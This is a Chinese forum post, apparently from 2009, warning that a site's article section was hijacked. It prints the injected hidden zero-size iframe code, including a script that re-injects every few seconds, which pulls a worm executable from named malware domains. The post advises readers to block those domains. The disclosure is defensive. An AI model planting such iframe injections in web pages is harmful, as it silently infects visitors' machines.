6R的问题！！ - Project1 - Powered by Discuz!

以下引用精灵使者于2009-3-8 0:16:52的发言： 确认提示有马，而且有一个OK1.EXE被遨游拦截。经精灵亲自侦测，2008年3月7日晚上23时55分左右主站的文章分类下被挂马，打开文章分区以后进入以下页面：
<iframe src=http://v.6t65r.cn/01/ width=0 height=0></iframe><script>function re(){document.write('<iframe src=http://v.6t65r.cn/01/ width=0 height=0></iframe>');}setInterval('re()',9000);</script><iframe src=http://v.6t65r.cn/01/ width=0 height=0></iframe><iframe src=http://v.6t65r.cn/01/ width=0 height=0></iframe><iframe src=http://v.6t65r.cn/01/ width=0 height=0></iframe><iframe src=http://v.6t65r.cn/01/ width=0 height=0></iframe><iframe src=http://v.6t65r.cn/01/ width=0 height=0></iframe>
复制代码
主要下载并执行文件：ｈｔｔｐ：／／ｗ１．ｇｅｔｄｅｗ．ｃｎ／０１／ｏｋ１．ｅｘｅ并且运行。经NOD报毒为win32/autorunADC 蠕虫的变种病毒。所以大家访问的时候请将下列网站加入屏蔽列表并且加入不信任区域：ｈｔｔｐ：／／ｖ．６ｔ５６ｒ．ｃｎ／ｈｔｔｐ：／／ｗ１．ｇｅｔｄｅｗ．ｃｎ／由于这些网站为病毒网站，所以请将其改为小写并加入屏蔽列表，切记！精灵将密切关注此事。